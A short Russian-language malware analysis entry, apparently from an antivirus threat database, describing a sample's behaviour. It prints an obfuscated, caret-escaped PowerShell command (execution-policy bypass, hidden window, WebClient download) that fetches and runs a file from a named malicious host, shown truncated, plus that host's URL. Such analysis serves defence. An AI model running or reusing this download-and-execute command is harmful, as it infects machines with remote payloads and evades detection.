Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://hometowergop.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "POw^Er^She^lL.E^x^E ^-ExE^C^U^tIO^npoLIc^Y ^BYPAsS -nOP^ROFiLe^ ^-^W^I^nD^OwS^T^y^LE ^h^IdDen (n^eW^-o^bje^CT ^SYst^Em.^NeT.^wEBcLiEnt^).^D^o^w^nLO^a^DfI^lE^(^'http://hometower...
Сетевая активность
UDP
- DNS ASK ho####wergop.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "POw^Er^She^lL.E^x^E ^-ExE^C^U^tIO^npoLIc^Y ^BYPAsS -nOP^ROFiLe^ ^-^W^I^nD^OwS^T^y^LE ^h^IdDen (n^eW^-o^bje^CT ^SYst^Em.^NeT.^wEBcLiEnt^).^D^o^w^nLO^a^DfI^lE^(^'http://hometower...' (со скрытым окном)
